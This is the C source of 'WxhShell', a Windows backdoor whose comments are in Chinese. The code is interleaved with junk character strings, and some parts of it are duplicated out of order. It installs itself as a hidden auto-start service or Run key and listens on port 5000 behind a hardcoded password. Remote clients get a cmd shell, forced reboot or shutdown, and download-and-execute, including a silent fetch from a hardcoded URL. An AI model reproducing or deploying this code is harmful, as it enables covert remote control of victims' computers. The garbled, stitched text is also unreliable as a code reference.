Z(LT'} ULONG UniqueProcessId; 0kS[`a(}J ULONG InheritedFromUniqueProcessId; H$zjN8||" } PROCESS_BASIC_INFORMATION; fIN8::Cs[ Q%KH^< PROCNTQSIP NtQueryInformationProcess; +Gqh b)9bYkd static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b)J(0,9`G" static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O|m-Uz"+ uNZJNrV% HANDLE hProcess; X[_w#Hwp- PROCESS_BASIC_INFORMATION pbi; I~y[8 pj;cL]L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?1?D[7$ if(NULL == hInst ) return 0; hPF9y@lh *X+T>SKL g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); km,}7^?F0r g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pwf2dm$,+ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7].tt _?#}@? if (!NtQueryInformationProcess) return 0; lfG]^id' V^B'T]s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P0uUVU=B| if(!hProcess) return 0; \gaGTc2& +C1/02ZJ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z7%
|'E R O&!>C7 CloseHandle(hProcess); 4]0|fi3}> =Y#)c]` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T5?@'b8F6 if(hProcess==NULL) return 0; SjV;&
1Z/ >M[wh> HMODULE hMod; 'hfQ4EN char procName[255]; _Z z"` unsigned long cbNeeded; x~C%Hp*# U1G"T(;s: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bDVz+*bU} .P+om<~B CloseHandle(hProcess); JYA$_T 6,*hzyy}Qu if(strstr(procName,"services")) return 1; // 以服务启动 ysm)B?+k 0*S]m5#; return 0; // 注册表启动 ukb2[mb*u } pe$"
nUy| Pd9qY
8CP // 主模块 y<jW7GNt int StartWxhshell(LPSTR lpCmdLine) 'D(| NYY { {eA0I\c(C SOCKET wsl; Lb;:< BOOL val=TRUE; 3tY\0y9 int port=0; oe`t ? (U struct sockaddr_in door; INqD(EG C1_':-4 if(wscfg.ws_autoins) Install(); .si!`?K%[ U86bn(9K port=atoi(lpCmdLine); ,paD/ ?CIMez(h if(port<=0) port=wscfg.ws_port; Hh`x>{,|S 78&(>8@m WSADATA data; a[d6@! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k)j,~JH .vHSKd{ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #vCtH2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QII-9RxX" door.sin_family = AF_INET; 7(c7- door.sin_addr.s_addr = inet_addr("127.0.0.1"); A (z
lX_ door.sin_port = htons(port); pv);LjF OXc!^2^ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5Y77g[AX2- closesocket(wsl); 2VObj7F return 1; V ':?rEN| } K. [2uhB) uFPJ}m[>5 if(listen(wsl,2) == INVALID_SOCKET) { ^1y (N>W closesocket(wsl); ? t<yk(q return 1; HUUN*yikj } '4 T}$a"i Wxhshell(wsl); Hw[(v[v WSACleanup(); Yzo_ZvL 'MZX"t return 0; @BCws) S5B12P } b
{fZU?o Si=zxy T // 以NT服务方式启动 ,m ^q> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^f][;>c { G-FeDP DWORD status = 0; o[<lTsw< DWORD specificError = 0xfffffff; ,au-g)IFZ `Hj{XIOx serviceStatus.dwServiceType = SERVICE_WIN32; |ci1P[y serviceStatus.dwCurrentState = SERVICE_START_PENDING; $TU)O^c serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z*r;"WHB serviceStatus.dwWin32ExitCode = 0; |S0]qt? serviceStatus.dwServiceSpecificExitCode = 0; )X-~+X91S serviceStatus.dwCheckPoint = 0; vm,/?]P serviceStatus.dwWaitHint = 0; x-W6W 1 /@lZ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :yPA6O 4 if (hServiceStatusHandle==0) return; %A 4F?/E 4q%hn3\ status = GetLastError(); h$\+r< if (status!=NO_ERROR) &dA{ <. { g$=y#<2? serviceStatus.dwCurrentState = SERVICE_STOPPED; (jQ]<q%P serviceStatus.dwCheckPoint = 0; R^t
)~\d serviceStatus.dwWaitHint = 0; f+A!w8E serviceStatus.dwWin32ExitCode = status; #p<1@, serviceStatus.dwServiceSpecificExitCode = specificError; DdAs]e|D[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ur*a!U return; mC-'z } !\e&7sV~Q ^uG^XY&ItC serviceStatus.dwCurrentState = SERVICE_RUNNING; F|Y}X|x8Q serviceStatus.dwCheckPoint = 0; $inpiO|s serviceStatus.dwWaitHint = 0; "0BuQ{CQ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Oqd4NS } 0W}iKT[Z Kterp%J? // 处理NT服务事件,比如:启动、停止
RDFOUqS VOID WINAPI NTServiceHandler(DWORD fdwControl) MqA%hlq { G5;N#^myJ switch(fdwControl) NhP&sQO { %+>t @F,GM case SERVICE_CONTROL_STOP: t,CC~ serviceStatus.dwWin32ExitCode = 0; zxo0:dyw7 serviceStatus.dwCurrentState = SERVICE_STOPPED; g)o?nAr serviceStatus.dwCheckPoint = 0; hSBR9g serviceStatus.dwWaitHint = 0; ]t4 9Efw { m\h. sg& SetServiceStatus(hServiceStatusHandle, &serviceStatus); d5b \kR r } FNQR sNi return; IUK!b2!` case SERVICE_CONTROL_PAUSE: 6Vq]AQx serviceStatus.dwCurrentState = SERVICE_PAUSED; Y(:.f-Du break; @|7Ma/8v case SERVICE_CONTROL_CONTINUE: qa|"kRCO serviceStatus.dwCurrentState = SERVICE_RUNNING; x+mfQcSD& break; ;JNI$DR case SERVICE_CONTROL_INTERROGATE: d{~5tv- H break; NrC(.*?m }; fJjtrvNy) SetServiceStatus(hServiceStatusHandle, &serviceStatus); 83^|a5 } ;,z[|"y FN-j@ // 标准应用程序主函数 i;' kQ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |l*#pN&L { SI/@Bbd= \5k^zGF4o // 获取操作系统版本 C>1fL6ct OsIsNt=GetOsVer(); =f4v: j}'| GetModuleFileName(NULL,ExeFile,MAX_PATH); X={n9*Sd8 kX\\t.nH // 从命令行安装 'Z<V(;W if(strpbrk(lpCmdLine,"iI")) Install(); .:<-E% ]w)*8
w.) // 下载执行文件 a0s6G3J+9 if(wscfg.ws_downexe) { 8SG*7[T7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pk94O WinExec(wscfg.ws_filenam,SW_HIDE); 3jH8pO^ } d#?.G3YmK 6?"k&O if(!OsIsNt) { w]BZgF. // 如果时win9x,隐藏进程并且设置为注册表启动 l1Zf#]x HideProc(); f1Ak0s,zrc StartWxhshell(lpCmdLine); > @Ux8# } k8]uy2R6} else n+C,v.X if(StartFromService()) K#O8P+n5[ // 以服务方式启动 ,mu=#}a@} StartServiceCtrlDispatcher(DispatchTable); qre.^6x else j'z}m+_? // 普通方式启动 '+!@c&d#%o StartWxhshell(lpCmdLine); "R"7'sJMI **zh>Y}6 return 0; UR/lM,N; } NAy3Zd} yK1Z&7>J> ,ZVC@P,L ~"<AYJlO =========================================== n1X.]|6' *?k~n9n5U R\L0 %&c+}m KUr}?sdz ;ew3^i.du " +) pO82 7?@s.Sz|fV #include <stdio.h> \'rh7!v-u #include <string.h> 5LT{]&`9 #include <windows.h> XJ3 5Z+M #include <winsock2.h> C?UV3 #include <winsvc.h> yq3i=RB( #include <urlmon.h> h\ZnUn_J R7/"ye:7J #pragma comment (lib, "Ws2_32.lib") XO*|P\#^ #pragma comment (lib, "urlmon.lib") E^I|%F RCFocOOn #define MAX_USER 100 // 最大客户端连接数 [SluYmW #define BUF_SOCK 200 // sock buffer kIHfLwh9N
#define KEY_BUFF 255 // 输入 buffer _uvRC+~R DE GEr- #define REBOOT 0 // 重启 ;C1]gJZ, #define SHUTDOWN 1 // 关机 +V"t't7 e 1W9Z $m #define DEF_PORT 5000 // 监听端口 Q4gsOxP 3SRz14/W_R #define REG_LEN 16 // 注册表键长度 gm**9]k ^{ #define SVC_LEN 80 // NT服务名长度 N# Ru`; pi>,>-Z // 从dll定义API %R%e0|a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [B}$U|V0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _Y7uM6HL\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `"N56 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "3kIQsD|j ?v]EXV3 // wxhshell配置信息 ] m$;ra] struct WSCFG { NaeG2>1 int ws_port; // 监听端口 kaSy 9Y{ char ws_passstr[REG_LEN]; // 口令 nLn3kMl4 int ws_autoins; // 安装标记, 1=yes 0=no ;\P\0pI50 char ws_regname[REG_LEN]; // 注册表键名 8IErLu } char ws_svcname[REG_LEN]; // 服务名 )aW;w |#n char ws_svcdisp[SVC_LEN]; // 服务显示名 }9w?[hXW" char ws_svcdesc[SVC_LEN]; // 服务描述信息 ),#%jc2_^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3$fzqFo int ws_downexe; // 下载执行标记, 1=yes 0=no 5PY,}1` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #0K122oY char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sdk%~RN0T /%E X4
W }; F iZe4{(p (vX+
Yw // default Wxhshell configuration )<_e{_h
struct WSCFG wscfg={DEF_PORT, !(:R=J_h "xuhuanlingzhe", 5Jo><P a 1, UY@^KT] "Wxhshell", :VP*\K/: "Wxhshell", [ML%u$- "WxhShell Service", rkdf htpI "Wrsky Windows CmdShell Service", Wn61;kV_) "Please Input Your Password: ", g_<^kg" 1, (9!$p|d* "http://www.wrsky.com/wxhshell.exe", ~Z74e>V% "Wxhshell.exe" n<
npJ* }; 8ZY F% 4bV&U= // 消息定义模块 gIGyY7{(s8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AfU~k!4` char *msg_ws_prompt="\n\r? for help\n\r#>"; YNEPu:5J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CCZ'(Tkq char *msg_ws_ext="\n\rExit."; 0L3v[%_j" char *msg_ws_end="\n\rQuit."; $yd "bJK char *msg_ws_boot="\n\rReboot..."; vuL;P"F4& char *msg_ws_poff="\n\rShutdown..."; JHF<vyt5< char *msg_ws_down="\n\rSave to "; A .]o&S} {bQi
z char *msg_ws_err="\n\rErr!"; o>(I_3J[p char *msg_ws_ok="\n\rOK!"; }n!$)W*? O[9>^y\, char ExeFile[MAX_PATH]; xqP DL9\ int nUser = 0; }vppn=[Y HANDLE handles[MAX_USER]; 2n/cqK int OsIsNt; ]/G~ L T7F )'Mx<
SERVICE_STATUS serviceStatus; 5somoV B SERVICE_STATUS_HANDLE hServiceStatusHandle; :Nry | {jnfe}] // 函数声明 adi^*7Q] ) int Install(void); ssf.ef$ int Uninstall(void); <a=,{O int DownloadFile(char *sURL, SOCKET wsh); uT")j,tz int Boot(int flag); W3AtO void HideProc(void); s{QS2G$5 int GetOsVer(void); puv/+!q int Wxhshell(SOCKET wsl); 2u B66i void TalkWithClient(void *cs); M/!5r int CmdShell(SOCKET sock); m%?+;V int StartFromService(void); A.f!SYV6 int StartWxhshell(LPSTR lpCmdLine); <i<[TPv"; u~JCMM$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z}772hMB VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0uw3[,I
}&E'ox<S // 数据结构和表定义 ZvQ~K(3 SERVICE_TABLE_ENTRY DispatchTable[] = ;+86q"&n { W
zKaLyM {wscfg.ws_svcname, NTServiceMain}, >q+q];=( {NULL, NULL} p3e_:5k }; AK$h
SM t<UtSkE1 // 自我安装 oU\Q|mN( int Install(void) JDa=+\_ { V~9vf*X char svExeFile[MAX_PATH]; MfJs?N0 HKEY key; 7W7!X\0Y strcpy(svExeFile,ExeFile); 5.]eF$x2 Oo)MxYPU // 如果是win9x系统,修改注册表设为自启动 E/<5JhI9~ if(!OsIsNt) { X+R?>xq{=h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nQ\)~MKd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _0razNk RegCloseKey(key);
6Cdc?#& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JA")L0a_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KS9eV RegCloseKey(key); RyAss0Sm^ return 0; &EZq%Sd } \G+uK:PC, } 7H,p/G?]k } Pc{0Js5VzE else { )`4g, W Q5!"tF p // 如果是NT以上系统,安装为系统服务 `1 tD&te0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lZ\8$,B) if (schSCManager!=0) MDyPwv\ { ;Wo\MN SC_HANDLE schService = CreateService /q3]AVV ( t V]BcDp schSCManager, _&]B wscfg.ws_svcname, nMBKZ wscfg.ws_svcdisp, qaj~q(j~C SERVICE_ALL_ACCESS, qh40nqS;9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wej'AR\NX SERVICE_AUTO_START, O<:"Irq\qr SERVICE_ERROR_NORMAL, |q(
.j4[i svExeFile, Zy<gA > NULL, H*h 7Y*([ NULL, A3;}C+K NULL, cyQ&w>' NULL, :X66[V&eH NULL L{2KK]IF ); (,i&pgVZ if (schService!=0) O6P{+xj$ { |z5`h CloseServiceHandle(schService); &B;M.sz~C4 CloseServiceHandle(schSCManager); ipIexv1/S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bq20U:f strcat(svExeFile,wscfg.ws_svcname); ~.dmfA{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )J['0DUrZK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LH"CIL2 RegCloseKey(key); E|Q|Nx!6[ return 0; _xyq25/ } >=WlrmI } sXpA^pT"T CloseServiceHandle(schSCManager); hm&cRehU } Q;'{~! = } o-m9}pV a%fMf[Fu return 1; =:5o"g } _>k&,p]y $?e_l
// 自我卸载 k4AF
.U`I int Uninstall(void) &F!Ct(c99 { kt0ma/QpP HKEY key; 'on8r* 0+vt LDq@P if(!OsIsNt) { X<j(AAHE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XEB1%. p RegDeleteValue(key,wscfg.ws_regname); 74c[m}'S RegCloseKey(key);
_T{
"F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {Y(# <UDM RegDeleteValue(key,wscfg.ws_regname); 3O'6 Ae RegCloseKey(key); BSMM3jXb return 0; DUAI } dpTeF`N } s_p\
bl. } &.ilku/ else { wUj#ACqB @rV|7%u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1h[xVvo<L if (schSCManager!=0) ==?!z<I.d { /ZeN\ybx SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L2j7w006 if (schService!=0) !L=RhMI { j$5S_]2 if(DeleteService(schService)!=0) { p /x] CloseServiceHandle(schService); \?VNr2 CloseServiceHandle(schSCManager); [2 yxTK return 0; .EXe3!J)! } )yj:P CloseServiceHandle(schService); QR#L1+Hn } qTA,rr#p0 CloseServiceHandle(schSCManager); ?c;T4@mB } q5UD!&W } z5|m`$gy V(^aG=TaW: return 1; naHQeX; } Pcs62aE Ul`~d
!3zH // 从指定url下载文件 #j?SdQ int DownloadFile(char *sURL, SOCKET wsh) yt@;yd:OEk { !gKz=-C HRESULT hr; c2,;t)%@E char seps[]= "/"; UgBD|~zu char *token; .GM}3(1fX` char *file; $OAak char myURL[MAX_PATH]; }nO[;2Na char myFILE[MAX_PATH]; XeJ|Z)qZ Q6e;hl strcpy(myURL,sURL); 5{esL4k token=strtok(myURL,seps); itpljh while(token!=NULL) {$ (X,E { jlA?JB file=token; iYE7BUH= token=strtok(NULL,seps); uh8+Y%V
p } .vm.g=-q waYH_)Zx GetCurrentDirectory(MAX_PATH,myFILE); =/6rX"\P strcat(myFILE, "\\"); B/n/bi8T strcat(myFILE, file); wBb J
\ send(wsh,myFILE,strlen(myFILE),0); Q
6)5*o8n send(wsh,"...",3,0); DsI{*# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F\H^=P if(hr==S_OK) ,];4+&|8kW return 0; j&qJK,~ else U&\2\z3{ return 1; 3!OO_ \`MX\OR } `H7V[' >.fN@8[ // 系统电源模块 :/1/i&a int Boot(int flag) / >As9|% { 49;2tl;F HANDLE hToken; 3H'+7[~qH TOKEN_PRIVILEGES tkp; I {o\d'/ 82q_"y>6 if(OsIsNt) { MUs~ZF OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R[/]iK+!& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k\~A\UIYo tkp.PrivilegeCount = 1; ?d?
cD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; potb6jc? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6$l6>A if(flag==REBOOT) { :M%s:,]R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bO:m^* return 0; FQ72VY } 8r 4
L4 else { T&5dF9a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BUozpqN} return 0; [8sL);pJO } k/|j e~$ } MvO!p else { ua'dm6",: if(flag==REBOOT) { ;h
}^f- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OFtAT@=O return 0; ~
3HI; } <XfCQq/ else { SLiQHWw*J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &;)6G1X1 return 0; HKr6h?Si^ } m9Z 3q ; } LAoX'^6 otsINAizgS return 1; p4|Zz:f } 7;_./c_@ `_+j+ // win9x进程隐藏模块 !u}} V void HideProc(void) .-:R mYGR { o~Im5j],* ^PCshb## HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E+ 65 if ( hKernel != NULL ) ?\7" A { TT(dCHft pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LZ@4,Uj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tXocGM{6C FreeLibrary(hKernel); qYMTud[Vf } XZaei\rUn) #nL&x3 return; !50Fue^JM } vM}oxhQ$n kCRP?sj // 获取操作系统版本 >^@/Ba$h int GetOsVer(void) Q6cF<L`bW { (+Yerc.NQt OSVERSIONINFO winfo; D/CSR=b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); crJyk #_ GetVersionEx(&winfo); 3
*o
l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lW,rzJ1 return 1; ,R
j{^-k else <B;l).[6 return 0; 3N) bJ } ( _ZOUMe 89>U Koc? // 客户端句柄模块 Z[baQO int Wxhshell(SOCKET wsl) G<C[A
{ 6'e}!O SOCKET wsh; c}II"P struct sockaddr_in client; 'm@0[i DWORD myID; 9HlRf6S /5@V $c8 while(nUser<MAX_USER) i#t)tM" { Uk u~"OGC int nSize=sizeof(client); /-wAy-W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m<>3GF,5bP if(wsh==INVALID_SOCKET) return 1; b!Q|0X.? IYq)p
/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); slV+2b if(handles[nUser]==0) We#u-#k_O closesocket(wsh); CT@JNG$<" else [YY[E 7 nUser++; !3{>
F" } 3_W1)vd{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T`f6`1x (
w(GJ/g return 0; DFKU?#R } )+c4n] /s3AZ j9 // 关闭 socket EKsL0;FV void CloseIt(SOCKET wsh) [XWY-q#Gg { $srb!&~_> closesocket(wsh); <@9p|[! nUser--; LlP_`fA ExitThread(0); CwQgA%)!i } Kd8V,teH *hVW>{a // 客户端请求句柄 C2;qSKG3{m void TalkWithClient(void *cs) 7@u0;5p| { T8 k@DS $j*j {}K SOCKET wsh=(SOCKET)cs; 6D,xs}j1 char pwd[SVC_LEN]; woJO0hHR char cmd[KEY_BUFF]; rxu
6 #v F char chr[1]; E~5r8gM,0 int i,j; i$HaE)qZ N.OC _H& while (nUser < MAX_USER) { Hxft~* (i^3Lw : if(wscfg.ws_passstr) { 8;YeEW5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Be+CV">2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oR>o/$z$)g //ZeroMemory(pwd,KEY_BUFF); \xi
wp. i=0; J&w%lYiu5 while(i<SVC_LEN) { !uLW-[F, uBI?nv, // 设置超时 Fx2z lM& fd_set FdRead; Ml)~%ZbF struct timeval TimeOut; d:C- FD_ZERO(&FdRead); 5inmFT?9Z FD_SET(wsh,&FdRead);
*r Y6 TimeOut.tv_sec=8; l\7N R TimeOut.tv_usec=0; [$)C(1zY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >|%m#JG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "/Fp_g6#: :Xc%_&) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B`)o?GcVN pwd=chr[0]; 1UX"iOx( if(chr[0]==0xd || chr[0]==0xa) { .a\b_[+W pwd=0; Mw2?U>h1 break; )Q\nR`k } pOQ'k>! i++; PLR[nB7K } MVU5+wX ;Pik}, // 如果是非法用户,关闭 socket _hyboQi if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7ET^,6 } zK893) #y13(u,dN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S(Md send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); laN:H mR8 8X`iMFa.P while(1) { )K.~A&y@ +c5z-X$^] ZeroMemory(cmd,KEY_BUFF); 4]O{Nko) &3lg\&" // 自动支持客户端 telnet标准 {Y-<#U~iH j=0; $A\fm` while(j<KEY_BUFF) { }z6@Z#%q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &1Dq3%$c cmd[j]=chr[0]; ;$Q`JN= if(chr[0]==0xa || chr[0]==0xd) { pMM,ox" cmd[j]=0; rlr)n\R# break; ?#"rI6 } 'EoJo9p6} j++; vcs=!Ace } DJ;il)^ braHWC'VYg // 下载文件 J'9hzag if(strstr(cmd,"http://")) { D+?/MrP send(wsh,msg_ws_down,strlen(msg_ws_down),0); B}_*0D if(DownloadFile(cmd,wsh)) (#GOXz send(wsh,msg_ws_err,strlen(msg_ws_err),0); XB*)d
9'8 else ]s-;*o\H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >aXyi3B } /NfuR$oMd else { `Yn:fL7S mxk :P switch(cmd[0]) { _$%.F|: |}N -5U // 帮助 y}5V3)P case '?': { |PR8P!' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l&l&eOE break; -;1'{v } m
"' // 安装 1!_$HA case 'i': { [4L[.N@ if(Install()) i]&C=X send(wsh,msg_ws_err,strlen(msg_ws_err),0); uFQ;}k;} else E~vM$$O$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;8\w$SPP break; J'c]':U } 5{nERKaPf // 卸载 +(n&>75 case 'r': { *R1m= if(Uninstall()) 0Oy.&C T send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^o&3 +s}M else <,!8xp7,~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B].V|8h break; 3z7SK Gy }
UhKC:<% // 显示 wxhshell 所在路径 w#|uR^~ case 'p': { Fy:CG6@X char svExeFile[MAX_PATH]; dqF]kP,VG strcpy(svExeFile,"\n\r"); FYPv:k strcat(svExeFile,ExeFile); d%+oCoeb send(wsh,svExeFile,strlen(svExeFile),0); tt5t(+5j break; 'fpm] *ig } |@'/F #T // 重启 1;_tu case 'b': { 5cj]Y)I-~ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W^j;"qj if(Boot(REBOOT)) %oPW`r send(wsh,msg_ws_err,strlen(msg_ws_err),0); ToMvP B); else { %siBCjvo= closesocket(wsh); (gW#T\Eln ExitThread(0); 7{jB!Xj } l~
3 H" break; "^M/iv( } =iJfz // 关机 RcJ.=?I! case 'd': { U\OfB'Dn send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TA;r if(Boot(SHUTDOWN)) h8Wv t's send(wsh,msg_ws_err,strlen(msg_ws_err),0); akR+QZ,) else { F)fCj^zL closesocket(wsh); 6.#5Ra ExitThread(0); `FS)i7-o6 } e!V3 /*F break; )?_x$GKY } *xHj* // 获取shell tE|W8=be/ case 's': { ;MSdTHN" CmdShell(wsh); |#OMrP+oi closesocket(wsh); jLc"1+ ExitThread(0); YdgDMd-1 break; pI>yO~Ve } YoC{ t&rY // 退出 |76G#K~<X case 'x': { sd(Yr6~.. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Evjvaa^ CloseIt(wsh); 5a8[0&hA 2 break; \/qo2'V
j` } `vbd7i // 离开 :eHD{= case 'q': { +-%&,>R send(wsh,msg_ws_end,strlen(msg_ws_end),0); #:q$sKQ_$ closesocket(wsh); <H; z4 WSACleanup(); rN$U%\.I exit(1); vw.rkAGY break; >JSk/]" } Ai*R%# } 2YW|/o4 } *8I+D>x -'!K(" // 提示信息 DJWm7 t if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kU75 } \r.{Ru } jH5VrN*Q wSV}{9}wr% return; vHydqFi 9 } 8D
H~~by _ ^2\/@ // shell模块句柄 t[r<&1[& int CmdShell(SOCKET sock) "d5nVO/ { .
X: STARTUPINFO si; d O})#50f ZeroMemory(&si,sizeof(si)); fen~k#|l si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <2.87: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y^u9Ttf{ PROCESS_INFORMATION ProcessInfo; #7*{ $v char cmdline[]="cmd"; eb` ! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~[N"Q|D3Y return 0; }CM</ }
S6d&w6 mm1fG4
*% // 自身启动模式 uY_vX\;67z int StartFromService(void) qN=l$_UD { q,Nhfo( typedef struct fO UW{s { 15l{gbCW DWORD ExitStatus; prdc}~J8{ DWORD PebBaseAddress; o5(~nQ DWORD AffinityMask; $b CN;yE DWORD BasePriority; G~+BO'U9'G ULONG UniqueProcessId; <i$ud&D ULONG InheritedFromUniqueProcessId; /cXVJ(#j } PROCESS_BASIC_INFORMATION; >WZ_) `R o,q47W=7$ PROCNTQSIP NtQueryInformationProcess; T?4I\SG e[($rsx static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |19zjhl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c $fYK u}0U! HANDLE hProcess; =jWjUkm2 PROCESS_BASIC_INFORMATION pbi; MXP3ZN' \'Z^rjB HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DGJt$o=&@ if(NULL == hInst ) return 0; s#*
DY Vb++K0CK g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #wS/QrRE g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;%<R>gDWv NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \s@7pM=( YVW`|'7)| if (!NtQueryInformationProcess) return 0; ,3,(/%=k t,IQ|B&0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xV\mS+#
